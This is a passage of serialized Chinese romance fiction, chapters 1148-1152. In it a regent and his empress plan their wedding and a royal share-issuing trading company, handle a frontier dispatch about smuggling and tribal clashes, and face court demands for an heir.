他们两个人,呆呆地坐在那里,张着嘴,瞪着眼,半天,都说不出一句话来。 他们感觉自己这几十年,读的那些圣贤书,学的那些治国理政的道理,在林臻这位摄政王面前,简直就成了,小孩子的玩意儿! 将商行,分成份? 卖给百姓? 让他们当股东? 还能分红? 还能买卖? 这……这已经完全超出了,他们所能理解的范畴! 但这并不妨碍他们,凭借着自己那敏锐的政治嗅觉,意识到这个叫做“股票”的东西,一旦推行开来,将会给整个大乾,带来怎样翻天覆地的巨大变化! 这不仅仅是一种敛财的手段! 这更是一种收拢人心,捆绑利益,将整个帝国的经济都牢牢掌控在皇权之下的无上阳谋! “王……王爷……”周兴的声音都在发抖,他看着林臻,那眼神已经不是在看一个王爷了,那简直就是在看一个从天上降下来的财神爷! “您……您这脑子,到底,是怎么长的啊?!” 杜如晦也是抚着自己的胸口,长长地舒了一口气,脸上满是劫后余生般的庆幸。 幸好! 幸好这位摄政王是他们大乾的! 这要是,生在了敌国…… 他简直不敢想象,那将会是怎样一副可怕的景象! 慕容嫣的美眸之中,更是异彩连连,充满了对林臻的无与伦比的崇拜和爱意。 她的夫君,总能在她最意想不到的时候,给她带来最大的惊喜。 此刻,她慵懒地斜倚在凤榻之上,身上那件作为唯一寝衣的神凤降世裙,也随着她心情的激荡,而发生了奇妙的变化。 那极致玄黑的苏锦底料,在明亮的烛光下,仿佛变成了一块深邃的、可以倒映出星辰的夜幕。 而那只用真金线绣成的擎天巨凤,则在这片夜幕之中彻底地活了过来! 它仿佛挣脱了所有的束缚,展开了那华丽无双的、金色的羽翼,凤目之中,迸发出了前所未有的、璀璨夺目的、充满了开创与革新意味的,智慧光芒! 那光芒,照亮了整个寝殿,也照亮了,大乾未来的,万世基业! 那长达五丈的墨金色苏锦拖尾,从她的脚下,恣意地铺陈开来仿佛一条通往未来的黄金大道! “夫君,你这一招,真是太高了。”慕容嫣由衷地赞叹道,“我简直,都不知道该怎么夸你了。” “夸我就不必了。”林臻看着她那副小女儿家的崇拜模样,心中,也是得意非凡。 他走到榻边,俯下身,在她耳边,用一种只有两个人才能听到的声音,暧昧地说道:“你要是真想谢我,不如今天晚上早点把我们的‘正事’给办了?” 慕容嫣的脸,“轰”的一下,又红了。 这个坏蛋! 三句话,不离他的那点小心思! 她又羞又气地,在他腰间的软肉上,轻轻地掐了一下。 林臻看着她那副娇嗔的模样,心中更是火热,正准备再接再厉。 一旁的周兴和杜如晦,这两个不识时务的老头,却又一次凑了上来。 “王爷!陛下!”周兴搓着手,一脸兴奋地说道,“那我们什么时候开始着手筹备这个‘皇家商行’和‘股票’的事啊?老臣已经有些迫不及待了!” “是啊,王爷。”杜如晦也附和道,“此乃国之大事,宜早不宜迟。依老臣看,我们应该立刻成立一个专门的衙门来负责此事!” 林臻看着这两个,瞬间就从“财政危机”的愁云惨雾,切换到“大干一场”的亢奋模式的老头,只觉得,一阵阵地,头疼。 他现在,只想把这两个电灯泡一样的家伙,给一脚踹出栖凤阁去! “此事,不急。”他摆了摆手,强行压下心里的那点不耐烦,说道,“饭要一口一口吃,路要一步一步走。成立皇家商行,发行股票,兹事体大,牵一发而动全身,必须从长计议。” “眼下,我们还有一件更重要的事需要先办。” “哦?什么事?”周兴和杜如晦,都好奇地问道。 林臻看了一眼身旁,那张俏脸已经红得快要冒烟的慕容嫣,嘴角,勾起了一抹得意的笑容。 “当然是,本王与陛下的大婚典礼!” “国之大事,在祀与戎。如今戎事已定,那剩下的自然就是朕与陛下的婚礼了。” “一个稳定的,强大的皇室才是我们大乾,未来一切发展的基石!你们说对不对啊?” 第1148章 大办特办 “对!对!对!王爷说得太对了!” 周兴和杜如晦,这两个老狐狸,一听这话,哪还有不明白的? 他们对视了一眼,都从对方眼中,看到了一丝“我懂的”的笑意。 敢情这位摄政王,铺垫了半天,又是皇家商行,又是股票的,最终的目的还是为了催婚啊! 不过王爷说的也确实是在理。 国之大事,在祀与戎。 如今,外敌已平,内乱已定,是该办一场史无前例的盛大婚礼来冲冲喜,也向全天下彰显一下他们大乾皇室的威严与稳定了。 “王爷圣明!陛下圣明!”杜如晦第一个,站了出来,躬身行礼道,“老臣附议!我大乾历经战火,如今终于迎来了海晏河清,四海升平!正该为陛下与王爷,举办一场旷古烁今的大婚典礼!以告慰,天地祖宗,以安抚天下民心!” “老臣也附议!”周兴也连忙跟着说道,“而且,老臣以为这场婚礼非但不能省,还必须往大了办!往奢华了办!” 他看了一眼林臻,那张胖脸上,全是精明的笑意:“王爷您想啊,我们这‘皇家商行’,马上就要开张了。我们这‘股票’,也要发行了。这第一炮能不能打响,关键看的是什么?” “看的就是,我们朝廷的信誉和实力!” “我们把这场婚礼办得越是盛大,越是奢华,就越能向天下的商贾和百姓,证明我们大乾的,富庶与强大!到时候,还愁他们不抢着来买我们的股票吗?” “这……这叫,‘前期投资’!对!‘前期投资’!”周兴天马行空地,给自己找了个理由。 林臻听完,差点没笑出声来。 这个周胖子,还真是个人才。 为了拍自己的马屁,连“前期投资”这种词,都给整出来了。 不过,他说的倒也确实有几分道理。 慕容嫣原本还想说,国库空虚,婚礼一切从简。 可现在,被周兴这么一搅和,她也不好再说什么了。 只能红着一张脸,嗔怪地,瞪了林臻一眼。 那眼神,仿佛在说:都怪你! 林臻则回了她一个,得意的挑衅眼神。 那意思,不言而喻:小样儿,还治不了你? 打发走了杜如晦和周兴这两个老头,栖凤阁内,终于,又只剩下了林臻和慕容嫣两人。 气氛瞬间又变得暧昧了起来。 “夫君,你真是,越来越坏了。”慕容嫣靠在林臻的怀里,伸出手指,在他的胸口画着圈圈,声音里带着一丝无奈的娇嗔。 “我怎么坏了?”林臻一把抓住她那只不老实的小手,放在唇边,轻轻地吻了一下,“我这可是,为了我们大乾的江山社稷,为了我们未来的储君,在深谋远虑啊。” “你……你又胡说!”慕容嫣的脸,又红了。 这个男人,真是三句话不离,那点小心思。 “我哪里胡说了?”林臻一脸无辜地说道,“你想啊,我们早点成婚,早点生个大胖小子。这朝堂,不就更稳了吗?这民心,不就更安了吗?这股票,不就更好卖了吗?” 他掰着手指头,一本正经地,给她算着账。 慕容嫣被他这副,强词夺理的无赖模样,给彻底逗笑了。 她知道,自己是说不过他了。 也罢。 反正嫁给他本就是她这一生最大的心愿。 被他这么催着逼着,虽然有些羞人,但心里却全是藏不住的甜蜜。 “好啦,好啦,都依你。”她抬起头,那双水光潋滟的凤眸,痴痴地看着他,“你说怎么办,就怎么办吧。” “这还差不多。”林臻见她终于松口,心中大喜。 他将她打横抱起,几步便走到了那张宽大的凤榻前,然后轻轻地将她放在了上面。 他自己也随之侧身躺下,将她新入怀中。 “嫣儿,”他看着她的眼睛,声音,变得无比温柔,“我知道你心疼国库,不想铺张浪费。但是,这场婚礼,我不想再有任何的委屈了。” “这是我欠你的。” “也是我们应得的。” “我要让全天下的人都看到,我林臻,是用何等隆重的礼仪,将我心爱的女人,娶回家的。” “我要让这场婚礼,成为我们大乾乃至整个历史上,最辉煌最盛大的一场传奇。” 慕容嫣静静地听着,眼圈渐渐地红了。 她知道,他为什么要这么坚持。 他们这一路走来,实在是太不容易了。 从最开始的讨厌,到后来的相知相爱。 从漠北的生死与共,到江南的并肩作战。 他们经历了太多的,阴谋,背叛和生离死别。 这场婚礼,对他们来说不仅仅是一个仪式。 更是一个对过去的告别。 和对未来的承诺。 她主动地凑上前,在他的唇上印下了一个温柔的吻。 “好,都听你的。” 两人就这么,静静地相拥着,商议着他们那场迟来了太久的婚礼。 一个说,要在承天门,摆上九千九百九十九桌的流水席,让全城的百姓,都来沾沾喜气。 一个说,那太浪费了,不如将这些钱粮省下来,多建几所义学,多修几条水渠。 一个说,要用东海运来的,最大的珍珠,为她打造一顶独一无-二的凤冠。 一个说,凤冠太重了戴着不舒服,不如就用那年,他在桃花树下,为她亲手编织的花环。 …… 他们就像一对,最普通的,即将成婚的小情侣。 为了一些,在外人看来无足轻重的小事争论着,妥协着,然后又相视而笑。 寝殿内,烛光摇曳,温暖如春。 慕容嫣慵懒地,靠在林臻的怀里,身上那件作为唯一寝衣的神凤降世裙,此刻,也因为两人亲昵的姿态,而显得格外地柔软而服帖。 那极致玄黑的苏锦底料,在柔和的烛光下泛着一种,如同上好丝绸般的,温润光泽。 那只用真金线绣成的擎天巨凤,也仿佛被这温馨的气氛所感染,收敛了所有的锋芒和威严,凤目之中,只剩下无尽的温柔和缱绻。 那长达五丈的墨金色苏锦拖尾,与林臻那身墨麒麟王袍的袍摆,随意地,交织,纠缠,堆叠在一起。 黑与金,龙与凤。 在这一刻完美地融为了一体。 仿佛在向全世界宣告,这对天造地设的帝后,将永生永世,再不分离。 就在两人,你侬我侬,情意正浓的时候。 殿外,又一次传来了,一个小心翼翼的通报声。 “启禀陛下,王爷……礼部,派人送来了,为二位大婚,择选的几个吉日……” 林臻的脸,瞬间又黑了。 他真想,现在就冲出去把礼部那帮不识时务的家伙,全都给发配到不毛之地去! 第1149章 正事要紧,正事要紧 慕容嫣看着他那副吃瘪的样子,却是乐不可支,在他怀里笑得花枝乱颤,连那身华贵的裙子都跟着微微抖动。 “好啦好啦,我的好王爷,”她强忍着笑意,拍了拍他的胸口,“正事要紧,正事要紧。咱们先把日子定了,省得你天天抓心挠肝的。” 林臻瞪了她一眼,没好气地从床上坐起来,对着殿外喊道:“呈上来!” 很快,一名小太监便低着头,弓着腰,用一种近乎于小跑的姿态,将一个红漆托盘,送了进来。 托盘上,放着一卷明黄色的卷轴。 林臻一把将卷轴拿了过来,展开一看,只见上面用工整的馆阁体小楷,写着三个日期。 “七月初七,乞巧佳节,宜嫁娶,利姻缘。” “八月十五,中秋月圆,宜合卺,人团圆。” “九月初九,重阳登高,宜纳采,福寿长。” “这帮老家伙,还挺会选。”林臻看着这三个日子,脸上的不快,才稍稍散去了一些。 这三个日子,确实都是难得的好日子。 “嫣儿,你觉得,哪个好?”他将卷轴递给慕容嫣。 慕容嫣接过来看了看,那双美丽的凤眸之中,闪过一丝思索。 她穿着那身作为唯一寝衣的神凤降世裙,赤着双脚,走下凤榻,来到了窗边。 清晨的阳光,透过琉璃窗洒在她的身上,给她那身原本深邃的裙子,镀上了一层淡淡的金色光晕。 那极致玄黑的苏锦底料,在阳光的照射下,不再显得那么沉重,反而呈现出一种,如同薄纱般的,轻盈质感。 阳光穿透了轻薄的布料,将她那纤细而美好的身形轮廓,隐隐约约地,勾勒了出来,带着一种,朦胧而又致命的诱惑。 那只用真金线绣成的擎天巨凤,更是仿佛在阳光下,活了过来。 每一根凤羽,都闪烁着璀璨夺目的光芒,充满了无与伦比的,生命力和喜悦感。 她就那么静静地站在窗边,长达五丈的墨金色苏锦拖尾,在她身后随意地铺陈开来,像一片被阳光点燃的,流动的金沙之海。 安静,美好,祥和。 林臻看着眼前这一幕,只觉得自己的心跳都漏了一拍。 他突然觉得,杜如晦那老头,今天来得倒也不算太讨厌。 至少,让他看到了他心爱的女人这般动人的一面。 “就七月初七吧。”许久,慕容嫣才缓缓地开口,声音里带着一丝不易察觉的向往。 “七月初七?”林臻有点意外,“为什么选这个?这个日子,离现在,可是最近的。我们准备的时间,会不会太仓促了?” “我等不及了。”慕容嫣转过身,看着他,那双美丽的凤眸之中,盛满了化不开的柔情。 “夫君,我等这一天,已经等了太久太久了。” “我不想,再等下去了。” 林臻的心,被这句话狠狠地撞了一下。 他走上前,将她紧紧地拥入怀中。 “好,就七月初七。” …… 大婚的日子,就这么定了下来。 整个皇宫,乃至整个长安城,都为此陷入了一种,前所未有的忙碌和喜庆之中。 红色的绸缎,喜庆的灯笼,几乎挂满了长安城的每一个角落。 负责承办婚礼的礼部和内务府,更是忙得脚不沾地。 林臻虽然嘴上说着,要当甩手掌柜,什么都不管。 但事关自己和嫣儿的终身大事,他又哪里,真的能放得下心? 他几乎是事无巨细,从婚礼的流程,到宴请的宾客名单,再到慕容嫣的凤冠霞帔,他都要亲自过问,亲自把关。 他发誓,要给他的嫣儿一场全世界最独一无二的盛大婚礼。 而慕容嫣,则是在他的“强权”之下,过上了几天难得的清闲日子。 她不用再天不亮就起来上朝,也不用再批阅那些,堆积如山的奏折。 每天,睡到自然醒,然后,便是在林臻的陪伴下,在御花园里散散步,赏赏花。 或者是窝在栖凤阁里,看他处理那些,从各地传回来的政务。 林臻处理政务的样子,很专注,也很迷人。 他不像那些老学究一样,引经据典,之乎者也。 他的风格向来是简单,直接,高效。 一道道看似复杂无比的难题,到了他手里,往往三言两语,便能直指核心,迎刃而解。 慕容嫣就喜欢,这么静静地看着他。 她会亲手,为他沏上一壶他最爱喝的君山银针。 然后,再亲手为他剥上几颗,他最爱吃的水晶葡萄。 看着他,在处理完一件棘手的政务后抬起头,对自己露出一个宠溺的疲惫笑容。 然后,她便会走上前从身后轻轻地抱住他,为他按摩那因为长时间伏案,而有些僵硬的肩膀。 “夫君,辛苦了。” “不辛苦。”林臻会握住她的手,放在唇边,轻轻地吻一下,“为我家嫣儿,为我们大乾的江山,做牛做马,我甘之如饴。” 这样平淡,却又充满了温馨的小日子,是他们以前连想都不敢想的。 没有了阴谋,没有了杀戮,没有了那些永远也处理不完的糟心事。 他们的心里,只剩下了对彼此的浓浓的爱意。 和对未来的无限的憧憬。 这一日,午后。 林臻难得,提前处理完了所有的政务。 他看了一眼正窝在软榻上看得津津有味儿的慕容嫣,嘴角勾起了一抹坏笑。 他悄悄地,走到她的身后然后,猛地一下将她连人带书一起抱了起来。 “呀!” 慕容嫣被他这突如其来的动作,吓了一跳,手中的书都掉在了地上。 她下意识地,伸出双臂紧紧地搂住了他的脖子。 “夫君,你……你干什么呀!吓死我了!”她嗔怪地,捶了一下他的胸口。 “干什么?”林臻在她的俏脸上,狠狠地亲了一口,“当然是干点正事了。” 说完,他便抱着她,大步流星地向着寝殿的方向走去。 慕容嫣的脸,瞬间又红了。 这个男人,真是越来越无法无天了! 这还是大白天呢! “你……你放我下来!快放我下来!一会儿,让宫人看到了,多……多不好意思啊……”她挣扎着,声音细若蚊呐。 “有什么不好意思的?”林臻一脸理所当然地说道,“我抱我自己的媳妇儿,天经地义!谁敢乱嚼舌根,我拔了他的舌头!” 他一边说着,一边已经走到了那张宽大的凤榻前。 他将她,轻轻地放在了柔软的被褥之上,然后自己也随之覆了上去。 “嫣儿,”他看着她那双,因为害羞和紧张,而变得水光潋滟的凤眸,声音,沙哑得不成样子,“我们是不是该为我们大乾的储君,做点贡献了?” 慕容嫣的心,瞬间狂跳了起来。 她知道,自己今天是逃不掉了。 她缓缓地闭上了眼睛,长长的睫毛如同蝶翼一般微微地颤抖着。 然而就在林臻低头准备一亲芳泽的时候。 一个,该死的熟悉得不能再熟悉的,声音又一次从殿外响了起来。 “启禀陛下!王爷!北疆,八百里加急军报!” 第1150章 八百里加急? 八百里加急军报?!” 林臻的动作,猛地一僵。 他那张英俊的脸,瞬间黑得能滴出水来。 他真想,现在就冲出去把那个前来送信的传令兵,给一脚踹到天涯海角去! 还有完没完了?! 他和他家嫣儿,就想安安静-静地过两天二人世界。 怎么就这么难呢?! 先是杜如晦,再是周兴,现在又冒出个北疆的八百里加急! 这帮家伙是商量好的吗?! 专门挑他,准备办“正事”的时候来?! 慕容嫣也是,被这突如其来的一声给吓了一跳。 她连忙从林臻的身下挣扎着钻了出来,手忙脚乱地整理着自己那身,有些凌乱的神凤降世裙。 “快……快宣!”她的声音里带着一丝无法掩饰的紧张。 八百里加急! 这可是,最高等级的军情急报! 非到万不得已,十万火急的关头,是绝不会动用的! 难道是北疆那边又出什么事了? 那些刚刚才归顺的漠北部落,又反了? 一想到这里,慕容嫣的心瞬间就提到了嗓子眼。 林臻也知道,事情的轻重缓急。 他虽然心里,一百万个不爽,但还是强行压下心里的那点邪火,翻身下床,沉声对着殿外喊道:“传!” 很快,一名身披铠甲,满身风霜,看起来已经连续奔波数日夜的年轻信使便被带了进来。 他一进殿,便单膝跪地双手高高地呈上了一封用火漆密封的牛皮信封。 “启禀陛下!王爷!北疆都护府,郑大元帅,八百里加急军报!” 林臻上前,一把将信封拿了过来,扯开火漆从里面抽出了信纸。 他只看了一眼,那紧锁的眉头,便稍稍舒展了一些。 “怎么了?夫君?”慕容嫣看着他变幻不定的脸色,连忙凑了过来,紧张地问道。 “没事。”林臻摇了摇头,将手中的信纸,递给了她,“不是什么坏事。只是一点小麻烦。” 慕容嫣接过信纸,快速地,浏览了一遍。 信,是镇守北疆的兵马大元帅,郑克敌亲笔写的。 信上的内容也确实不像他们想的那么严重。 漠北的那些部落,并没有反。 恰恰相反。 自从上次,呼韩邪等一众部落首领,从长安心满意足地回去之后。 整个漠北草原,都对大乾表现出了前所未有的友善和恭顺。 尤其是当慕容嫣下旨,在燕然都护府开设了互市之后。 那些穷怕了的草原牧民,更是将大乾将这位年轻的女帝,当成了救苦救难的活菩萨。 他们拿着自己部落的牛羊、马匹、皮毛,争先恐后地,跑到互市来换取大乾的,茶叶、丝绸、瓷器,和铁锅。 短短一个月的时间,燕然都护府的互市便成了整个北方最繁华,最热闹的地方。 每日里,南来北往的商队络绎不绝。 大量的财富,如同潮水一般涌入了大乾的国库。 这本是,一件天大的好事。 但是问题也随之而来。 正所谓,有人的地方,就有江湖。 有利益的地方,自然也就有纷争。 随着互市的规模越来越大。 一些新的,以前从未出现过的问题也开始,渐渐地浮出了水面。 首先是走私。 一些胆大包天的商人,为了牟取暴利,竟然开始偷偷地将大乾严令禁止出口的,铁器、兵刃,甚至是炼铁的技术,走私给一些心怀不轨的草原部落。 其次是冲突。 不同的部落之间为了争抢与大乾商队交易的优先权。为了争夺草场和水源。开始繁地发生小规模的械斗和冲突。 虽然在安北王呼韩邪的强力弹压之下,这些冲突暂时还没有演变成大规模的部落战争。 但是那颗不稳定的种子已经埋下了。 最让郑克敌头疼的,还是文化上的融合问题。 越来越多的草原牧民因为羡慕中原的繁华,开始涌入燕然都护府,甚至是长城以南的州县,定居。 他们中的大部分人,都还算安分守己。 但也有一些害群之马,仗着自己人高马大,性情彪悍,在城中惹是生非欺压百姓。 而本地的百姓,也因为对这些“化外之民”的偏见和歧视,时常与他们发生口角和矛盾。 这些问题虽然看起来都只是一些鸡毛蒜皮的小事。 但郑克敌,这位久经沙场的老将却敏锐地从中嗅到了一丝危险的气息。 他知道,这些问题如果不能得到及时的妥善解决。 那迟早有一天,会像滚雪球一样越滚越大。 最终演变成足以动摇整个北疆,乃至整个大乾稳定根基的巨大隐患。 所以,他才在犹豫再三之后,动用了八百里加急,将这封信送到了长安。 “夫君,你看,这事……”慕容嫣看完信也是秀眉紧蹙。 她知道,郑克敌的担忧并非杞人忧天。 非我族类,其心必异。 这句流传了千年的古话,虽然有些偏颇。 但也确实道出了不同文明之间,融合的巨大难度。 处理得好,便是民族大融合国力大增长。 处理得不好,那便是遍地烽烟国之将亡。 前朝,之所以会覆灭,很大一部分原因就是因为没能处理好与北方草原部落的关系。 这个历史的教训,她必须引以为戒。 此刻,她慵懒地靠在软榻之上,身上那件作为唯一寝衣的神凤降世裙,也仿佛感受到了她心中的凝重。 那极致玄黑的苏锦底料,在殿内明亮的烛光下显得格外地深沉。 就如同,她此刻那深邃的充满了思索的凤眸。 那只用真金线绣成的擎天巨凤,也收敛了之前的那份喜悦和慵懒。 凤目之中,闪烁着锐利的属于帝王的审视的光芒。 仿佛在,与它的主人一起思考着,这关乎国运的重大难题。 那长达五丈的墨金色苏锦拖尾,从她的脚下一直铺陈到林臻的脚边。 仿佛一条无形的纽带,将这对共同执掌着,这个庞大帝国的年轻夫妻,紧紧地联系在了一起。 “一点,小麻烦而已。”林臻看着她那副,忧心忡忡的样子,笑了笑,伸手将她揽入怀中。 “傻丫头,别皱着眉头了。再皱,就成小老太太了。” “都什么时候了,你还开玩笑!”慕容嫣没好气地,白了他一眼。 “我可没开玩笑。”林臻笑了笑,说道,“这些问题看起来虽然盘根错节,十分棘手。但说到底,其实都只是一个问题。” “什么问题?”慕容嫣好奇地问道。 “规则。”林臻的眼中闪过一丝睿智的光芒。 “我们和漠北之间,现在缺的就是一套行之有效的规则。” 第1151章 请陛下册立太子 “规则?”慕容嫣看着林臻,若有所思。 “没错,就是规则。”林臻将她往怀里紧了紧,让她能更舒服地靠着自己,然后才不紧不慢地解释道。 “你看,无论是走私兵器,还是部落冲突,亦或是文化矛盾,归根结底,都是因为我们和漠北之间,突然从过去那种,持续了上千年的,敌对和隔绝状态,进入了一种全新的交流和融合的模式。” “旧的规则已经不适用了。而新的规则我们还没有建立起来。” “这就好比,两条原本从不相干的大河,突然被人挖通了。水流是通了。但如果没有坚固的河堤,和科学的疏导系统。那最终的结果就只能是洪水泛滥,两岸遭殃。” 林臻的这个比喻,通俗易懂,慕容嫣瞬间就明白了。 “那依夫君之见,我们该如何,建立这个新的规则呢?”她问道。 “很简单。”林臻的嘴角,勾起了一抹自信的笑容,“胡萝卜,加大棒。” “首先,是大棒。”他的声音,变得冰冷起来,“对于那些,胆敢走私兵器,资敌叛国的奸商,必须,严惩不贷!有一个,杀一个!有两个,杀一双!必须,用最血腥的手段,把这股歪风邪气,给彻底地,刹住!” “另外,对于那些敢在互市和我们大乾境内惹是生非,欺压百姓的草原蛮子,也同样不能手软!该抓的抓,该判的判,该杀的杀!必须让他们明白,这里是大乾的土地!到了我们的地盘,是龙,你得盘着!是虎,你得卧着!由不得他们撒野!” 慕容嫣听着他那杀气腾腾的话,非但没有觉得不妥,反而深以为然地点了点头。 她知道,对付这些崇尚武力,欺软怕硬的草原部落,一味的怀柔是行不通的。 必须先用雷霆手段把他们给彻底打怕了,打服了。 他们才会老老实实地坐下来,跟你讲道理。 “那胡萝卜呢?”她又问道。 “胡萝卜,自然就是给他们更大的好处。”林臻笑了笑,说道,“我们可以在燕然都护府,设立一个,‘漠北特别管理区’。” “在这个管理区内,我们可以施行一种与中原腹地截然不同的管理模式。我们可以允许他们保留自己的风俗习惯。我们可以让他们自己选举出部落代表,参与到管理区的日常管理之中。” “我们甚至可以,从国库里拿出一部分钱,来帮助他们,修建道路,兴办学校,教他们汉字,学算术,学我们中原先进的耕种和手工业技术。” “我们要让他们切切实实地感受到,归顺我们大乾到底能给他们带来多少实实在在的好处!” “当他们习惯了我们大乾的丝绸和茶叶。当他们的孩子学会了,我们的语言和文字。当他们发现,跟着我们,远比他们自己打打杀杀,放牧牛羊,能过上好一百倍,好一千倍的日子的时候……” “你觉得,他们还会想着要造反吗?” “到时候,根本不用我们动手。一旦有哪个不长眼的家伙,想挑起战争,破坏这来之不易的好日子。那些,已经尝到了甜头的草原部落,自己就会第一个站出来把他给撕成碎片!” 这番话,再一次让慕容嫣感到了深深的震撼。 釜底抽薪! 这才是,真正的釜底抽薪之计! 用经济和文化,去彻底地同化一个民族! 这比用武力去征服他们,要高明一百倍,也有效一千倍! “夫君,你……”她看着林臻,那双美丽的凤眸之中已经全是小星星了。 她觉得自己真是捡到宝了。 这个男人简直就是一个,无所不能的宝藏。 此刻,她慵懒地,斜倚在林臻的怀里,身上那件作为唯一寝衣的神凤降世裙,也仿佛被林臻那番,高屋建瓴的宏伟构想,所深深折服。 那极致玄黑的苏锦底料,在殿内明亮的烛光下,显得愈发地深邃而睿智。 就如同,她此刻那充满了对未来无限憧憬的凤眸。 那只用真金线绣成的擎天巨凤,更是仿佛在与它的主人,一同展翅高飞! 凤目之中,闪烁着一种海纳百川,有容乃大的帝王气度! 那长达五丈的墨金色苏锦拖尾,从她的脚下一直铺陈到寝殿的尽头。 仿佛大乾的疆域在她的脚下,正在无限地延伸! “好啦,别用这种眼神看着我了。”林臻被她那,充满了崇拜和爱慕的眼神,看得有些飘飘然,“再看下去,我可又要忍不住办‘正事’了。” 慕容嫣的脸一红,连忙将头低了下去。 “那……那我们该派谁去北疆执行这个计划呢?郑大元帅虽然忠心耿耿,但他毕竟是武将出身。对于这些经济和民政上的事恐怕并不擅长。”她连忙,转移了话题。 “这个,我早就想好了。”林臻笑了笑,说道,“你觉得杜相如何?” “杜相?”慕容嫣一愣。 “没错。”林臻点了点头,“杜相为人沉稳,经验老道,又对我们忠心耿耿。由他亲自去一趟北疆,坐镇那个‘漠北特别管理区’,担任第一任的总督。我才放心。” “可是,杜相毕竟年事已高……”慕容嫣有些担心。 “无妨。”林臻摆了摆手,“我们又不是让他去冲锋陷阵。只是让他去搭个架子定个章程。等一切都步入正轨之后,再把他调回来就是了。” “而且,”他的嘴角,勾起了一抹玩味的笑容,“把杜相这个,最爱管闲事的老头,给支到北疆去。我们在京城也能清净不少。你说是不是?” 慕容嫣听完,瞬间就明白了他的那点心思。 这个坏蛋! 他这是嫌杜相老是在他准备办“正事”的时候出来捣乱,所以才想把人家给一脚踢到千里之外去啊! 她又好气又好笑地白了他一眼。 但心里,却也觉得这个主意确实不错。 然而,就在他们为自己即将到来的,“清净日子”,而感到沾沾自喜的时候。 一个,比杜相还要让他们头疼一百倍的巨大“麻烦”,却已经悄然而至了。 第二日的早朝。 就在,慕容嫣安宣布了关于成立“漠北特别管理区”并任命杜如晦为第一任总督的旨意之后。 以新任礼部尚书王安石为首的一众文官,突然,齐刷刷地走了出来,然后,“噗通”一声,全都,跪倒在了大殿之上! “陛下!王爷!”王安石的声音,洪亮而又充满了一种不容置疑的坚定。 “国不可一日无君!亦不可,一日无储!” “如今,我大乾四海升平,百废待兴!正该早立储君,以安天下臣民之心!以固我大乾万世之基业!” “臣等,恳请陛下与王爷,早日诞下龙子!册立太子!” 他此言一出,整个太极殿瞬间鸦雀无声。 紧接着,所有文武百官全都反应了过来! 然后,齐刷刷地全都跪了下去! “臣等,附议!恳请陛下与王爷,早立储君!以固国本!” 那山呼海啸般的,声音响彻了整个太极殿! 慕容嫣的脸,“轰”的一下瞬间红得像一块烧红的烙铁! 第1152章 催生! 被满朝文武,当着这么多人的面“催生”,饶是慕容嫣已经贵为九五之尊,脸皮也远非寻常女子可比。 此刻也是羞得恨不得立刻找个地缝钻进去。 她坐在那高高的凤椅之上,只觉得浑身都像是被火烧一样,滚烫滚烫的。 她下意识地看了一眼身旁的林臻,想让他出来说句话,解个围。 却发现这个平日里最是厚颜无耻的家伙。 此刻竟然也难得地老脸一红,眼神有些飘忽,不敢与她对视。 也是。 这种事毕竟是他们夫妻二人的私事。 现在却被摆在了朝堂之上,当着这么多人的面公开讨论。 换了谁,谁也扛不住啊。 “咳咳!” 最终还是林臻这位脸皮厚比城墙的摄政王,率先打破了这尴尬的沉默。 他清了清嗓子,站起身对着殿下的百官摆了摆手。 “众位爱卿的心意,本王与陛下,都心领了。” “早立储君,以固国本,这确实是国之大事。” “不过嘛……”他话锋一转,脸上露出了一丝高深莫测的笑容,“此事急也急不来。” “正所谓天时,地利,人和缺一不可。” “本王与陛下定会不负众望。争取早日为我大乾诞下一位聪慧、神武的小太子。” “至于,现在嘛……” “大家还是先把各自手头上的事给办好了,再说吧。” “都退朝吧。” 说完,他便不再理会殿下那些还想再说些什么的老顽固们。 拉起早已羞得快要抬不起头来的慕容嫣,转身便向着后殿走去。 留下满朝文武面面相觑。 …… 一回到栖凤阁。 慕容嫣便再也忍不住了。 她一把甩开林臻的手,又羞又气地在他身上捶打了起来。 “都怪你!都怪你!这个坏蛋!” “现在好了!全天下的人都知道了!都知道我们……” 她的话,说到一半便再也说不下去了。 只觉得自己的脸烫得都能煎鸡蛋。 “这怎么能怪我呢?”林臻一脸无辜地,任由她捶打着,“这可是他们自己提出来的。再说了,他们说的也没错啊。我们确实是该抓紧时间为我们大乾培养下一代的接班人了嘛。” “你……你还说!”慕容嫣气得眼圈都红了。 林臻看着她那副,又羞又恼的可爱模样,心中爱意更浓。 他不再躲闪,伸出双臂一把将她紧紧拥入怀中。 “好啦好啦,我的好嫣儿不气了,不气了。” 他低头,吻去她眼角那点因为羞恼而逼出的晶莹泪珠。 声音温柔得能滴出水来。 “我知道你脸皮薄,被他们这么一说心里肯定不舒服。” “但是嫣儿,你也要明白。他们这么做并无恶意。” “他们只是太爱戴我们,太希望我们大乾能有一个稳定而又光明的未来了。” “而且,”他看着她的眼睛,一字一句地,无比认真地说道,“我也向你保证。” “不管我们未来的孩子,是男是女。” “他或者她,都将是这个世界上最幸福的孩子。” “因为他有全天下最爱他的父亲和母亲。” “我绝不会让他像我或者像你一样,去经历那些,本不该属于他那个年纪的痛苦和磨难。” “我会用我的生命,去守护他,去保护他。让他在一个充满了爱和阳光的环境里,自由自在地长大。” 慕容嫣静静地听着。 她看着他那双,充满了真诚和爱意的眼睛。 心中那点因为羞恼和尴尬而生出的不快,瞬间烟消云散。 取而代之的是满满的感动和幸福。 她知道这个男人不是在说空话。 他是在向她许下一个最郑重的承诺。 她主动地,伸出双臂紧紧地回抱着他。 将自己的脸深深地埋进他那宽阔而又温暖的胸膛。 “夫君……”她的声音,带着浓浓的鼻音,闷闷地从他的怀里传了出来,“有你真好。” …… 储君的风波,就这么在林臻的柔情和担当之下被轻轻地化解了。 而他们的大婚之日,也终于在万众的期盼之中如期而至。 七月初七。 乞巧佳节。 整个长安城,都沉浸在了一片红色的喜庆的海洋之中。 这一夜注定无眠。 栖凤阁内,同样是灯火通明,喜气洋洋。 慕容嫣坐在梳妆台前,任由宫里最手巧的嬷嬷,为她梳理着那一头如同瀑布般的乌黑长发。 明日她就要以一个妻子的身份,嫁给她心爱的男人了。 她的心里,充满了一种难以言喻的紧张和期待。 她透过镜子,看着镜中那个美得不似凡人的自己。 看着自己身上那件陪伴了她无数个日日夜夜的神凤降世裙。 心中也是感慨万千。 今夜,是她最后一次,以一个未嫁女子的身份穿着它了。 从明天起,它将见证她人生中另一个全新的开始。 此刻,在这间充满了喜庆和温馨的寝殿之内。 这件见证了她从一个不谙世事的公主,成长为一代女帝的传奇之袍。 也仿佛感受到了它主人,那即将步入人生新阶段的激动和喜悦。 